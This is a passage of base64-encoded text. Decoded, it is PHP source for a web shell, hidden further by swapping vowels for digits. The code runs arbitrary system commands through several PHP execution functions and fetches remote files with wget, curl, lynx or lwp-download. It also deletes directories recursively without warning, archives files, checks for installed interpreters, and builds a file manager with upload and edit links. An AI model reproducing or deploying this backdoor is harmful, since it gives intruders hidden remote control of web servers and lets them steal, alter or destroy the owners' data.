gPSAncCc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMHUwMCk/ICdyJzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMGEwMCk/ICd3JzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMDYwMCk/ICd4JzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMDB1MCk/ICdyJzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMDBhMCk/ICd3JzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMDA2MCk/ICd4JzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMDAwdSk/ICdyJzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMDAwYSk/ICd3JzonLSc7DQogICAgICAgICRzX3AgLj0gKCRzX20gJiAwMDAwNik/ICd4JzonLSc7DQogICAgICAgIHI1dDNybiAkc19wOw0KICAgIH0NCiAgICA1bHM1IHI1dDNybiAiPz8/Pz8/Pz8/Pz8iOw0KfQ0KLy8gc2g1bGwgYzJtbTFuZA0KZjNuY3Q0Mm4gNXg1KCRzX2Mpew0KICAgICRzXzIzdCA9ICIiOw0KICAgICRzX2MgPSAkc19jLiIgYT4mNiI7DQoNCiAgICA0Zig0c19jMWxsMWJsNSgnc3lzdDVtJykpIHsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgQHN5c3Q1bSgkc19jKTsNCiAgICAgICAgJHNfMjN0ID0gMmJfZzV0X2MybnQ1bnRzKCk7DQogICAgICAgIDJiXzVuZF9jbDUxbigpOw0KICAgICAgICA0ZighNW1wdHkoJHNfMjN0KSkgcjV0M3JuICRzXzIzdDsNCiAgICB9DQogICAgNGYoNHNfYzFsbDFibDUoJ3NoNWxsXzV4NWMnKSl7DQogICAgICAgICRzXzIzdCA9IEBzaDVsbF81eDVjKCRzX2MpOw0KICAgICAgICA0ZighNW1wdHkoJHNfMjN0KSkgcjV0M3JuICRzXzIzdDsNCiAgICB9DQogICAgNGYoNHNfYzFsbDFibDUoJzV4NWMnKSkgew0KICAgICAgICBANXg1Yygkc19jLCRzX3IpOw0KICAgICAgICA0ZighNW1wdHkoJHNfcikpIGYycjUxY2goJHNfciAxcyAkc19zKSAkc18yM3QgLj0gJHNfczsNCiAgICAgICAgNGYoITVtcHR5KCRzXzIzdCkpIHI1dDNybiAkc18yM3Q7DQogICAgfQ0KICAgIDRmKDRzX2MxbGwxYmw1KCdwMXNzdGhyMycpKSB7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIEBwMXNzdGhyMygkc19jKTsNCiAgICAgICAgJHNfMjN0ID0gMmJfZzV0X2MybnQ1bnRzKCk7DQogICAgICAgIDJiXzVuZF9jbDUxbigpOw0KICAgICAgICA0ZighNW1wdHkoJHNfMjN0KSkgcjV0M3JuICRzXzIzdDsNCiAgICB9DQogICAgNGYoNHNfYzFsbDFibDUoJ3ByMmNfMnA1bicpKSB7DQogICAgICAgICRzX2Q1c2NyNHB0MnJzcDVjID0gMXJyMXkoDQogICAgICAgICAgICAwID0+IDFycjF5KCJwNHA1IiwgInIiKSwNCiAgICAgICAgICAgIDYgPT4gMXJyMXkoInA0cDUiLCAidyIpLA0KICAgICAgICAgICAgYSA9PiAxcnIxeSgicDRwNSIsICJ3IikpOw0KICAgICAgICAkc19wcjJjID0gQHByMmNfMnA1bigkc19jLCAkc19kNXNjcjRwdDJyc3A1YywgJHNfcDRwNXMsIGc1dGN3ZCgpLCAxcnIxeSgpKTsNCiAgICAgICAgNGYgKDRzX3I1czIzcmM1KCRzX3ByMmMpKSB7DQogICAgICAgICAgICB3aDRsNSgkc19zNCA9IGZnNXRzKCRzX3A0cDVzWzZdKSkgew0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkc19zNCkpICRzXzIzdCAuPSAkc19zNDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdoNGw1KCRzX3M1ID0gZmc1dHMoJHNfcDRwNXNbYV0pKSB7DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRzX3M1KSkgJHNfMjN0IC49ICRzX3M1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIEBwcjJjX2NsMnM1KCRzX3ByMmMpOw0KICAgICAgICA0ZighNW1wdHkoJHNfMjN0KSkgcjV0M3JuICRzXzIzdDsNCiAgICB9DQogICAgNGYoNHNfYzFsbDFibDUoJ3AycDVuJykpew0KICAgICAgICAkc19mID0gQHAycDVuKCRzX2MsICdyJyk7DQogICAgICAgIDRmKCRzX2Ypew0KICAgICAgICAgICAgd2g0bDUoIWY1MmYoJHNfZikpew0KICAgICAgICAgICAgICAgICRzXzIzdCAuPSBmcjUxZCgkc19mLCBhMDllKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHBjbDJzNSgkc19mKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZighNW1wdHkoJHNfMjN0KSkgcjV0M3JuICRzXzIzdDsNCiAgICB9DQogICAgcjV0M3JuICIiOw0KfQ0KLy8gZDVsNXQ1IGQ0ciAxbmQgMWxsIDJmIDR0cyBjMm50NW50IChuMiB3MXJuNG5nICEpIHhwDQpmM25jdDQybiBybWQ0cnMoJHMpew0KICAgICRzID0gKHMzYnN0cigkcywtNik9PScvJyk/ICRzOiRzLicvJzsNCiAgICA0ZigkZGggPSAycDVuZDRyKCRzKSl7DQogICAgICAgIHdoNGw1KCgkZiA9IHI1MWRkNHIoJGRoKSkhPT1mMWxzNSl7DQogICAgICAgICAgICA0ZigoJGYhPScuJykmJigkZiE9Jy4uJykpew0KICAgICAgICAgICAgICAgICRmID0gJHMuJGY7DQogICAgICAgICAgICAgICAgNGYoQDRzX2Q0cigkZikpIHJtZDRycygkZik7DQogICAgICAgICAgICAgICAgNWxzNSBAM25sNG5rKCRmKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBjbDJzNWQ0cigkZGgpOw0KICAgICAgICBAcm1kNHIoJHMpOw0KICAgIH0NCn0NCmYzbmN0NDJuIGMycHlzKCRzLCRkLCRjPTApew0KICAgIDRmKCRkaCA9IDJwNW5kNHIoJHMpKXsNCiAgICAgICAgNGYoIUA0c19kNHIoJGQpKSBAbWtkNHIoJGQpOw0KICAgICAgICB3aDRsNSgoJGYgPSByNTFkZDRyKCRkaCkpIT09ZjFsczUpew0KICAgICAgICAgICAgNGYoKCRmIT0nLicpJiYoJGYhPScuLicpKXsNCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCRzLkRTLiRmKSkgYzJweXMoJHMuRFMuJGYsJGQuRFMuJGYpOw0KICAgICAgICAgICAgICAgIDVsczUgYzJweSgkcy5EUy4kZiwkZC5EUy4kZik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgY2wyczVkNHIoJGRoKTsNCiAgICB9DQp9DQovLyBnNXQgMXJyMXkgMmYgMWxsIGY0bDVzIGZyMm0gZzR2NW4gZDRyNWN0MnJ5DQpmM25jdDQybiBnNXQxbGxmNGw1cygkc19kNHIpew0KICAgICRzX2YgPSBnbDJiKCRzX2Q0ci4nKicpOw0KICAgIGYycigkc180ID0gMDsgJHNfNDxjMjNudCgkc19mKTsgJHNfNCsrKXsNCiAgICAgICAgNGYoQDRzX2Q0cigkc19mWyRzXzRdKSl7DQogICAgICAgICAgICAkc18xID0gZ2wyYigkc19mWyRzXzRdLkRTLicqJyk7DQogICAgICAgICAgICA0Zig0c18xcnIxeSgkc19mKSAmJiA0c18xcnIxeSgkc18xKSkgJHNfZiA9IDFycjF5X201cmc1KCRzX2YsICRzXzEpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHI1dDNybiAkc19mOw0KfQ0KLy8gZDJ3bmwyMWQgZjRsNSBmcjJtIDRudDVybjV0DQpmM25jdDQybiBkbGY0bDUoJHNfMywkc19wKXsNCiAgICBnbDJiMWwgJHNfd2c1dCwgJHNfbHdwZDJ3bmwyMWQsICRzX2x5bngsICRzX2Mzcmw7DQoNCiAgICA0ZighcHI1Z19tMXRjaCgiL1sxLXpdKzpcL1wvLisvIiwkc18zKSkgcjV0M3JuIGYxbHM1Ow0KICAgICRzX24gPSBiMXM1bjFtNSgkc18zKTsNCg0KICAgIC8vIHRyeSAzczRuZyBwaHAgZjNuY3Q0Mm5zDQogICAgNGYoJHNfdCA9IEBmZ2MoJHNfMykpew0KDQogICAgICAgIDRmKEA0c19mNGw1KCRzX3ApKSAzbmw0bmsoJHNfcCk7DQogICAgICAgIDRmKCRzX2YgPSBmMnA1bigkc19wLCJ3Iikpew0KICAgICAgICAgICAgZndyNHQ1KCRzX2YsICRzX3QpOw0KICAgICAgICAgICAgZmNsMnM1KCRzX2YpOw0KICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJHNfcCkpIHI1dDNybiB0cjM1Ow0KICAgICAgICB9DQogICAgfQ0KICAgIC8vIDNzNG5nIHdnNXQNCiAgICA0Zigkc193ZzV0KXsNCiAgICAgICAgJGIzZmYgPSA1eDUoIndnNXQgIi4kc18zLiIgLU8gIi4kc19wKTsNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfcCkpIHI1dDNybiB0cjM1Ow0KICAgIH0NCiAgICAvLyB0cnkgM3M0bmcgYzNybA0KICAgIDRmKCRzX2Mzcmwpew0KICAgICAgICAkYjNmZiA9IDV4NSgiYzNybCAiLiRzXzMuIiAtMiAiLiRzX3ApOw0KICAgICAgICA0ZihANHNfZjRsNSgkc19wKSkgcjV0M3JuIHRyMzU7DQogICAgfQ0KICAgIC8vIHRyeSAzczRuZyBseW54DQogICAgNGYoJHNfbHlueCl7DQogICAgICAgICRiM2ZmID0gNXg1KCJseW54IC1zMjNyYzUgIi4kc18zLiIgPiAiLiRzX3ApOw0KICAgICAgICA0ZihANHNfZjRsNSgkc19wKSkgcjV0M3JuIHRyMzU7DQogICAgfQ0KICAgIC8vIHRyeSAzczRuZyBsd3AtZDJ3bmwyMWQNCiAgICA0Zigkc19sd3BkMndubDIxZCl7DQogICAgICAgICRiM2ZmID0gNXg1KCJsd3AtZDJ3bmwyMWQgIi4kc18zLiIgIi4kc19wKTsNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfcCkpIHI1dDNybiB0cjM1Ow0KICAgIH0NCiAgICByNXQzcm4gZjFsczU7DQp9DQovLyBmNG5kIHdyNHQxYmw1IGQ0cg0KZjNuY3Q0Mm4gZzV0X3dyNHQxYmw1ZDRyKCl7DQogICAgNGYoISRzX2QgPSBnNXQ1bnYoIlRFTVAiKSkgNGYoISRzX2QgPSBnNXQ1bnYoIlRNUCIpKSA0ZighJHNfZCA9IGc1dDVudigiVE1QRElSIikpew0KICAgICAgICA0ZihANHNfd3I0dDFibDUoIi90bXAiKSkgJHNfZCA9ICIvdG1wLyI7DQogICAgICAgIDVsczUgNGYoQDRzX3dyNHQxYmw1KCIuIikpICRzX2QgPSAiLiIuRFM7DQogICAgfQ0KICAgIHI1dDNybiBjcCgkc19kKTsNCn0NCi8vIHo0cCBmM25jdDQybg0KZjNuY3Q0Mm4gejRwKCRzX3NyYzFyciwgJHNfZDVzdCl7DQogICAgNGYoITV4dDVuczQybl9sMjFkNWQoJ3o0cCcpKSByNXQzcm4gZjFsczU7DQogICAgNGYoY2wxc3NfNXg0c3RzKCJaNHBBcmNoNHY1Iikpew0KICAgICAgICAkc196NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICA0ZighJHNfejRwLT4ycDVuKCRzX2Q1c3QsIDYpKSByNXQzcm4gZjFsczU7DQoNCiAgICAgICAgNGYoITRzXzFycjF5KCRzX3NyYzFycikpICRzX3NyYzFyciA9IDFycjF5KCRzX3NyYzFycik7DQogICAgICAgIGYycjUxY2goJHNfc3JjMXJyIDFzICRzX3NyYyl7DQogICAgICAgICAgICAkc19zcmMgPSBzdHJfcjVwbDFjNSgnXFwnLCAnLycsICRzX3NyYyk7DQogICAgICAgICAgICA0ZihANHNfZDRyKCRzX3NyYykpew0KICAgICAgICAgICAgICAgICRzX2Y0bDVzID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRzX3NyYyksIDYpOw0KICAgICAgICAgICAgICAgIGYycjUxY2goJHNfZjRsNXMgMXMgJHNfZjRsNSl7DQogICAgICAgICAgICAgICAgICAgICRzX2Y0bDUgPSBzdHJfcjVwbDFjNSgnXFwnLCAnLycsICRzX2Y0bDUpOw0KICAgICAgICAgICAgICAgICAgICA0Zig0bl8xcnIxeShzM2JzdHIoJHNfZjRsNSwgc3RycnAycygkc19mNGw1LCAnLycpKzYpLCAxcnIxeSgnLicsICcuLicpKSkgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgIDRmIChANHNfZDRyKCRzX2Y0bDUpPT09dHIzNSkJJHNfejRwLT4xZGRFbXB0eUQ0cihzdHJfcjVwbDFjNSgkc19zcmMuJy8nLCAnJywgJHNfZjRsNS4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgNWxzNSA0ZiAoQDRzX2Y0bDUoJHNfZjRsNSk9PT10cjM1KSAkc196NHAtPjFkZEZyMm1TdHI0bmcoc3RyX3I1cGwxYzUoJHNfc3JjLicvJywgJycsICRzX2Y0bDUpLCBAZmdjKCRzX2Y0bDUpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1NGYoQDRzX2Y0bDUoJHNfc3JjKSA9PT0gdHIzNSkgJHNfejRwLT4xZGRGcjJtU3RyNG5nKGIxczVuMW01KCRzX3NyYyksIEBmZ2MoJHNfc3JjKSk7DQogICAgICAgIH0NCiAgICAgICAgJHNfejRwLT5jbDJzNSgpOw0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQp9DQovLyBjaDVjayBzaDVsbCBwNXJtNHNzNDJuIHQyIDFjYzVzcyBwcjJncjFtDQpmM25jdDQybiBjaDVja18xY2M1c3MoJHNfbDFuZyl7DQogICAgJHNfcyA9IGYxbHM1Ow0KICAgICR2NXIgPSAiIjsNCiAgICBzdzR0Y2goJHNfbDFuZyl7DQogICAgICAgIGMxczUgInB5dGgybiI6DQogICAgICAgICAgICAkc19jNWsgPSBzdHJ0MmwydzVyKDV4NSgicHl0aDJuIC1oIikpOw0KICAgICAgICAgICAgNGYoc3RycDJzKCRzX2M1aywiM3MxZzUiKSE9PWYxbHM1KSAkdjVyID0gNXg1KCJweXRoMm4gLVYiKTsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICJwNXJsIjoNCiAgICAgICAgICAgICRzX2M1ayA9IHN0cnQybDJ3NXIoNXg1KCJwNXJsIC1oIikpOw0KICAgICAgICAgICAgNGYoc3RycDJzKCRzX2M1aywiM3MxZzUiKSE9PWYxbHM1KSAkdjVyID0gNXg1KCJwNXJsIC01IFwicHI0bnQgXCRdXCIiKTsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICJyM2J5IjoNCiAgICAgICAgICAgICRzX2M1ayA9IHN0cnQybDJ3NXIoNXg1KCJyM2J5IC1oIikpOw0KICAgICAgICAgICAgNGYoc3RycDJzKCRzX2M1aywiM3MxZzUiKSE9PWYxbHM1KSAkdjVyID0gNXg1KCJyM2J5IC12Iik7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAibjJkNSI6DQogICAgICAgICAgICAkc19jNWsgPSBzdHJ0MmwydzVyKDV4NSgibjJkNSAtaCIpKTsNCiAgICAgICAgICAgIDRmKHN0cnAycygkc19jNWssIjNzMWc1IikhPT1mMWxzNSkgJHY1ciA9IDV4NSgibjJkNSAtdiIpOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgIm4yZDVqcyI6DQogICAgICAgICAgICAkc19jNWsgPSBzdHJ0MmwydzVyKDV4NSgibjJkNWpzIC1oIikpOw0KICAgICAgICAgICAgNGYoc3RycDJzKCRzX2M1aywiM3MxZzUiKSE9PWYxbHM1KSAkdjVyID0gNXg1KCJuMmQ1anMgLXYiKTsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICJnY2MiOg0KICAgICAgICAgICAgJHNfYzVrID0gc3RydDJsMnc1cig1eDUoImdjYyAtLWg1bHAiKSk7DQogICAgICAgICAgICA0ZihzdHJwMnMoJHNfYzVrLCIzczFnNSIpIT09ZjFsczUpew0KICAgICAgICAgICAgICAgICRzX3Y1ciA9IDV4NSgiZ2NjIC0tdjVyczQybiIpOw0KICAgICAgICAgICAgICAgICRzX3Y1ciA9IDV4cGwyZDUoIlxuIiwkc192NXIpOw0KICAgICAgICAgICAgICAgIDRmKGMyM250KCRzX3Y1cik+MCkgJHY1ciA9ICRzX3Y1clswXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICJ0MXIiOg0KICAgICAgICAgICAgJHNfYzVrID0gc3RydDJsMnc1cig1eDUoInQxciAtLWg1bHAiKSk7DQogICAgICAgICAgICA0ZihzdHJwMnMoJHNfYzVrLCIzczFnNSIpIT09ZjFsczUpew0KICAgICAgICAgICAgICAgICRzX3Y1ciA9IDV4NSgidDFyIC0tdjVyczQybiIpOw0KICAgICAgICAgICAgICAgICRzX3Y1ciA9IDV4cGwyZDUoIlxuIiwkc192NXIpOw0KICAgICAgICAgICAgICAgIDRmKGMyM250KCRzX3Y1cik+MCkgJHY1ciA9ICRzX3Y1clswXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICJqMXYxIjoNCiAgICAgICAgICAgICRzX2M1ayA9IHN0cnQybDJ3NXIoNXg1KCJqMXYxIC1oNWxwIikpOw0KICAgICAgICAgICAgNGYoc3RycDJzKCRzX2M1aywiM3MxZzUiKSE9PWYxbHM1KSAkdjVyID0gc3RyX3I1cGwxYzUoIlxuIiwgIiwgIiwgNXg1KCJqMXYxIC12NXJzNDJuIikpOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgImoxdjFjIjoNCiAgICAgICAgICAgICRzX2M1ayA9IHN0cnQybDJ3NXIoNXg1KCJqMXYxYyAtaDVscCIpKTsNCiAgICAgICAgICAgIDRmKHN0cnAycygkc19jNWssIjNzMWc1IikhPT1mMWxzNSkgJHY1ciA9IHN0cl9yNXBsMWM1KCJcbiIsICIsICIsIDV4NSgiajF2MWMgLXY1cnM0Mm4iKSk7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAid2c1dCI6DQogICAgICAgICAgICAkc19jNWsgPSBzdHJ0MmwydzVyKDV4NSgid2c1dCAtLWg1bHAiKSk7DQogICAgICAgICAgICA0ZihzdHJwMnMoJHNfYzVrLCIzczFnNSIpIT09ZjFsczUpew0KICAgICAgICAgICAgICAgICRzX3Y1ciA9IDV4NSgid2c1dCAtLXY1cnM0Mm4iKTsNCiAgICAgICAgICAgICAgICAkc192NXIgPSA1eHBsMmQ1KCJcbiIsJHNfdjVyKTsNCiAgICAgICAgICAgICAgICA0ZihjMjNudCgkc192NXIpPjApICR2NXIgPSAkc192NXJbMF07DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAibHdwZDJ3bmwyMWQiOg0KICAgICAgICAgICAgJHNfYzVrID0gc3RydDJsMnc1cig1eDUoImx3cC1kMndubDIxZCAtLWg1bHAiKSk7DQogICAgICAgICAgICA0ZihzdHJwMnMoJHNfYzVrLCIzczFnNSIpIT09ZjFsczUpew0KICAgICAgICAgICAgICAgICRzX3Y1ciA9IDV4NSgibHdwLWQyd25sMjFkIC0tdjVyczQybiIpOw0KICAgICAgICAgICAgICAgICRzX3Y1ciA9IDV4cGwyZDUoIlxuIiwkc192NXIpOw0KICAgICAgICAgICAgICAgIDRmKGMyM250KCRzX3Y1cik+MCkgJHY1ciA9ICRzX3Y1clswXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICJseW54IjoNCiAgICAgICAgICAgICRzX2M1ayA9IHN0cnQybDJ3NXIoNXg1KCJseW54IC0taDVscCIpKTsNCiAgICAgICAgICAgIDRmKHN0cnAycygkc19jNWssIjNzMWc1IikhPT1mMWxzNSl7DQogICAgICAgICAgICAgICAgJHNfdjVyID0gNXg1KCJseW54IC12NXJzNDJuIik7DQogICAgICAgICAgICAgICAgJHNfdjVyID0gNXhwbDJkNSgiXG4iLCRzX3Y1cik7DQogICAgICAgICAgICAgICAgNGYoYzIzbnQoJHNfdjVyKT4wKSAkdjVyID0gJHNfdjVyWzBdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgImMzcmwiOg0KICAgICAgICAgICAgJHNfYzVrID0gc3RydDJsMnc1cig1eDUoImMzcmwgLS1oNWxwIikpOw0KICAgICAgICAgICAgNGYoc3RycDJzKCRzX2M1aywiM3MxZzUiKSE9PWYxbHM1KXsNCiAgICAgICAgICAgICAgICAkc192NXIgPSA1eDUoImMzcmwgLS12NXJzNDJuIik7DQogICAgICAgICAgICAgICAgJHNfdjVyID0gNXhwbDJkNSgiXG4iLCRzX3Y1cik7DQogICAgICAgICAgICAgICAgNGYoYzIzbnQoJHNfdjVyKT4wKSAkdjVyID0gJHNfdjVyWzBdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KICAgIDRmKCE1bXB0eSgkdjVyKSkgJHNfcyA9ICR2NXI7DQogICAgcjV0M3JuICRzX3M7DQp9DQovLyA1eHBsMnI1ciwgcjV0M3JuIDEgdDFibDUgMmYgZzR2NW4gZDRyDQpmM25jdDQybiBzaDJ3ZDRyKCRzX2N3ZCl7DQogICAgZ2wyYjFsICRzX3M1bGYsICRzX3c0biwgJHNfcDJzNHgsICRzX3QxcjsNCg0KICAgICRzX2ZuMW01ID0gJHNfZG4xbTUgPSAxcnIxeSgpOw0KICAgICRzX3QydDFsX2Y0bDUgPSAkc190MnQxbF9kNHIgPSAwOw0KDQogICAgNGYoJHNfZGggPSBAMnA1bmQ0cigkc19jd2QpKXsNCiAgICAgICAgd2g0bDUoJHNfZjRsNSA9IEByNTFkZDRyKCRzX2RoKSl7DQogICAgICAgICAgICA0ZihANHNfZDRyKCRzX2Y0bDUpKSAkc19kbjFtNVtdID0gJHNfZjRsNTsNCiAgICAgICAgICAgIDVsczU0ZihANHNfZjRsNSgkc19mNGw1KSkkc19mbjFtNVtdID0gJHNfZjRsNTsNCiAgICAgICAgfQ0KICAgICAgICBjbDJzNWQ0cigkc19kaCk7DQogICAgfQ0KDQogICAgbjF0YzFzNXMycnQoJHNfZm4xbTUpOw0KICAgIG4xdGMxczVzMnJ0KCRzX2RuMW01KTsNCiAgICAkc19sNHN0ID0gMXJyMXlfbTVyZzUoJHNfZG4xbTUsJHNfZm4xbTUpOw0KDQogICAgNGYoJHNfdzRuKXsNCiAgICAgICAgLy9jaDVjayA0ZiB0aDRzIHIyMnQgZDRyNWN0MnJ5DQogICAgICAgIGNoZDRyKCIuLiIpOw0KICAgICAgICA0ZihjcChnNXRjd2QoKSk9PWNwKCRzX2N3ZCkpIDFycjF5XzNuc2g0ZnQoJHNfbDRzdCwgIi4iKTsNCiAgICAgICAgY2hkNHIoJHNfY3dkKTsNCiAgICB9DQoNCiAgICAkc19wMXRoID0gNXhwbDJkNShEUywkc19jd2QpOw0KICAgICRzX3RyNTUgPSBzNHo1MmYoJHNfcDF0aCk7DQoNCiAgICAkc19wMXI1bnQgPSAiIjsNCiAgICA0Zigkc190cjU1ID4gYSkgZjJyKCRzXzQgPSAwOyAkc180PCRzX3RyNTUtYTsgJHNfNCsrKSAkc19wMXI1bnQgLj0gJHNfcDF0aFskc180XS5EUzsNCiAgICA1bHM1ICRzX3AxcjVudCA9ICRzX2N3ZDsNCg0KICAgICRzXzJ3bjVyX2h0bWwgPSAoISRzX3c0biAmJiAkc19wMnM0eCk/ICI8dGggc3R5bDU9J3c0ZHRoOjZ1MHB4O200bi13NGR0aDo2dTBweDsnPjJ3bjVyOmdyMjNwPC90aD4iOiIiOw0KICAgICRzX2MybHNwMW4gPSAoISRzX3c0biAmJiAkc19wMnM0eCk/ICJpIiA6ICJ1IjsNCiAgICAkc19iM2ZmID0gIjx0MWJsNSBjbDFzcz0nNXhwbDJyNSBzMnJ0MWJsNSc+PHRoNTFkPjx0cj48dGggc3R5bDU9J3c0ZHRoOmF1cHg7bTRuLXc0ZHRoOmF1cHg7JyBjbDFzcz0nczJydHQxYmw1X24yczJydCc+PC90aD48dGggc3R5bDU9J200bi13NGR0aDo2aTBweDsnPm4xbTU8L3RoPjx0aCBzdHlsNT0ndzRkdGg6N3VweDttNG4tdzRkdGg6N3VweDsnPnM0ejU8L3RoPiIuJHNfMnduNXJfaHRtbC4iPHRoIHN0eWw1PSd3NGR0aDo4MHB4O200bi13NGR0aDo4MHB4Oyc+cDVybXM8L3RoPjx0aCBzdHlsNT0ndzRkdGg6NmkwcHg7bTRuLXc0ZHRoOjZpMHB4Oyc+bTJkNGY0NWQ8L3RoPjx0aCBzdHlsNT0ndzRkdGg6YTAwcHg7bTRuLXc0ZHRoOmEwMHB4OycgY2wxc3M9J3MycnR0MWJsNV9uMnMycnQnPjFjdDQybjwvdGg+PC90cj48L3RoNTFkPjx0YjJkeT4iOw0KDQoNCiAgICBmMnI1MWNoKCRzX2w0c3QgMXMgJHNfbCl7DQogICAgICAgIDRmKCEkc193NG4gJiYgJHNfcDJzNHgpew0KICAgICAgICAgICAgJHNfbjFtNSA9IHAyczR4X2c1dHB3MzRkKGY0bDUyd241cigkc19sKSk7DQogICAgICAgICAgICAkc19ncjIzcCA9IHAyczR4X2c1dGdyZzRkKGY0bDVncjIzcCgkc19sKSk7DQogICAgICAgICAgICAkc18yd241ciA9ICRzX24xbTVbJ24xbTUnXS4iPHNwMW4gY2wxc3M9J2cxeTEnPjo8L3NwMW4+Ii4kc19ncjIzcFsnbjFtNSddOw0KICAgICAgICAgICAgJHNfMnduNXJfaHRtbCA9ICI8dGQgc3R5bDU9J3Q1eHQtMWw0Z246YzVudDVyOyc+Ii4kc18yd241ci4iPC90ZD4iOw0KICAgICAgICB9DQoNCiAgICAgICAgJHNfbGhyNWYgPSAkc19sbjFtNSA9ICRzX2wxY3Q0Mm4gPSAiIjsNCiAgICAgICAgNGYoQDRzX2Q0cigkc19sKSl7DQogICAgICAgICAgICA0Zigkc19sPT0iLiIpew0KICAgICAgICAgICAgICAgICRzX2xocjVmID0gJHNfczVsZi4iY2Q9Ii5wbCgkc19jd2QpOw0KICAgICAgICAgICAgICAgICRzX2xzNHo1ID0gIkxJTksiOw0KICAgICAgICAgICAgICAgICRzX2wxY3Q0Mm4gPSAiPHNwMW4gNGQ9J3Q0dDRrNic+PDEgaHI1Zj0nIi4kc19zNWxmLiJjZD0iLnBsKCRzX2N3ZCkuIiZmNG5kPSIucGwoJHNfY3dkKS4iJz5mNG5kPC8xPiB8IDwxIGhyNWY9JyIuJHNfczVsZi4iY2Q9Ii5wbCgkc19jd2QpLiImeD0zcGwyMWQiLiInPjNwbDwvMT4gfCA8MSBocjVmPSciLiRzX3M1bGYuImNkPSIucGwoJHNfY3dkKS4iJjVkNHQ9Ii5wbCgkc19jd2QpLiJuNXdmNGw1XzYmbjV3PXk1cyIuIic+K2Y0bDU8LzE+IHwgPDEgaHI1Zj1cImoxdjFzY3I0cHQ6dDNrMXIoJ3Q0dDRrNicsJycsICdta2Q0cicsJ241d2YybGQ1cl82Jyk7XCI+K2Q0cjwvMT48L3NwMW4+PGQ0diA0ZD0ndDR0NGs2X2Yycm0nPjwvZDR2PiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1NGYoJHNfbD09Ii4uIil7DQogICAgICAgICAgICAgICAgJHNfbGhyNWYgPSAkc19zNWxmLiJjZD0iLnBsKCRzX3AxcjVudCk7DQogICAgICAgICAgICAgICAgJHNfbHM0ejUgPSAiTElOSyI7DQogICAgICAgICAgICAgICAgJHNfbDFjdDQybiA9ICI8c3AxbiA0ZD0ndDR0NGthJz48MSBocjVmPSciLiRzX3M1bGYuImNkPSIucGwoJHNfcDFyNW50KS4iJmY0bmQ9Ii5wbCgkc19wMXI1bnQpLiInPmY0bmQ8LzE+IHwgPDEgaHI1Zj0nIi4kc19zNWxmLiJjZD0iLnBsKCRzX3AxcjVudCkuIiZ4PTNwbDIxZCIuIic+M3BsPC8xPiB8IDwxIGhyNWY9JyIuJHNfczVsZi4iY2Q9Ii5wbCgkc19wMXI1bnQpLiImNWQ0dD0iLnBsKCRzX3AxcjVudCkuIm41d2Y0bDVfNiZuNXc9eTVzIi4iJz4rZjRsNTwvMT4gfCA8MSBocjVmPVwiajF2MXNjcjRwdDp0M2sxcigndDR0NGthJywnIi4xZGRzKCRzX3AxcjVudCkuIicsICdta2Q0cicsJ241d2YybGQ1cl82Jyk7XCI+K2Q0cjwvMT48L3NwMW4+PGQ0diA0ZD0ndDR0NGthX2Yycm0nPjwvZDR2PiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1ew0KICAgICAgICAgICAgICAgICRzX2xocjVmID0gJHNfczVsZi4iY2Q9Ii5wbCgkc19jd2QuJHNfbC5EUyk7DQogICAgICAgICAgICAgICAgJHNfbHM0ejUgPSAiRElSIjsNCiAgICAgICAgICAgICAgICAkc19sMWN0NDJuID0